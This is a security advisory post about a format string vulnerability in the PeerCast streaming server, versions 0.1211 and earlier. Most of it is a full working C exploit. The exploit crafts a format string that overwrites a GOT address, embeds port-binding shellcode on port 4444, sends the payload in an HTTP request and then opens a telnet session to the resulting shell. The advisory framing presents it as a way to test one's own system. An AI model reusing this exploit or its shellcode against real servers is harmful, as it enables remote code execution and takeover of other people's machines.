[EXPL] PeerCast Remote Format String (Exploit)

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  PeerCast Remote Format String (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.peercast.org/> PeerCast is a popular p2p streaming media 
server (similar to shoutcast) - "PeerCast is a new, free way to listen to 
radio and watch video on the Internet. It uses P2P technology to let 
anyone become a broadcaster without the costs of traditional streaming. 
This means you get to hear and watch stations not normally found on 
commercially funded sites."

PeerCast is vulnerable to format string vulnerability, attackers 
exploiting this vulnerability can cause the server to execute arbitrary 
code, the following exploit code can be used to test your system for the 
mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * PeerCast versions 0.1211 and prior

Exploit:
/*
\ PeerCast <= 0.1211 remote format string exploit
/ [<< Public Release >>]
\
/ by Darkeagle [ darkeagle [at] linkin-park [dot] cc ]
\
/ uKt researcherz [ http://unl0ck.org ]
\
/ greetz goes to: uKt researcherz.
\
/
\ - smallest code - better code!!!
/
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>


//**********************
#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}
//**********************



//********************************
char shellcode[] = // binds 4444 port
"\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85"
"\x4f\xca\xdf\x83\xeb\xfc\xe2\xf4\xb4\x94\x99\x9c\xd6\x25\xc8\xb5"
"\xe3\x17\x53\x56\x64\x82\x4a\x49\xc6\x1d\xac\xb7\x94\x13\xac\x8c"
"\x0c\xae\xa0\xb9\xdd\x1f\x9b\x89\x0c\xae\x07\x5f\x35\x29\x1b\x3c"
"\x48\xcf\x98\x8d\xd3\x0c\x43\x3e\x35\x29\x07\x5f\x16\x25\xc8\x86"
"\x35\x70\x07\x5f\xcc\x36\x33\x6f\x8e\x1d\xa2\xf0\xaa\x3c\xa2\xb7"
"\xaa\x2d\xa3\xb1\x0c\xac\x98\x8c\x0c\xae\x07\x5f";
//********************************


//**************
#define HOST "127.0.0.1"
#define PORT 7144
#define GOTADDR 0x0809da9c
#define SHELLADDR 0x49adb23c
//**************



//************************************
char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int 
base, long figure )
{
char * buf;
unsigned char b0, b1, b2, b3;
int start = 256;

doit( b0, b1, b2, b3, retaddr );
buf = (char *)malloc(999);
memset( buf, 0, 999 );

b3 -= figure;
b2 -= figure;
b1 -= figure;
b0 -= figure;

snprintf( buf, 999,
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
b3 - 16 + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );

return buf;
}
//*************************************




//*************************************
int
main( int argc, char * argv[] )
{
struct sockaddr_in addr;
int sock;
char * fmt;
char endian[31337], da_shell[31337];
unsigned long locaddr, retaddr;
unsigned int offset, base;
unsigned char b0, b1, b2, b3;

system("clear");
printf("*^*^*^ PeerCast <= 0.1211 remote format string exploit ^*^*^*\n");
printf("*^*^*^ by Darkeagle ^*^*^*\n");
printf("*^*^*^ uKt researcherz [ http://unl0ck.org ] ^*^*^*\n\n");

memset( endian, 0x00, 31337 );
memset( da_shell, 0x00, 31337 );

addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(HOST);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

locaddr = GOTADDR;
retaddr = SHELLADDR;
offset = 1265; // GET /html/en/index.htmlAAA%1265$x and you will get 
AAAA41414141

doit( b0, b1, b2, b3, locaddr );

base = 4;
printf("[*] Buildin' evil code\n");
strcat(endian, "GET /html/en/index.html");
snprintf( endian+strlen(endian), sizeof(endian),
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = evil_builder( retaddr, offset, base, 0x10 );

memset(fmt+strlen(fmt), 0x55, 32);
strcat(fmt, shellcode);
strcat(endian, fmt);
strcat(endian, "\r\n\r\n\r\n");
printf("[+] Buildin' complete!\n");
sprintf(da_shell, "telnet %s 4444", HOST);

// just go, y0!
printf("[*] Connectin'\n");
if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) ) { printf("[-] 
Connection failed!\n\n");
exit(0); }

printf("[+] Connected!\n");
printf("[*] Sleepin'\n");
sleep(1);

printf("[*] Sendin'\n");
send(sock, endian, strlen(endian), 0);

printf("[*] Sleepin'\n");
sleep(1);

printf("[*] Connectin' in da shell\n\n");
sleep(1);
system(da_shell);
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Darkeagle.
Relevant article can be found at:  
<http://www.securiteam.com/securitynews/5KP0U0AFQA.html> 
http://www.securiteam.com/securitynews/5KP0U0AFQA.html



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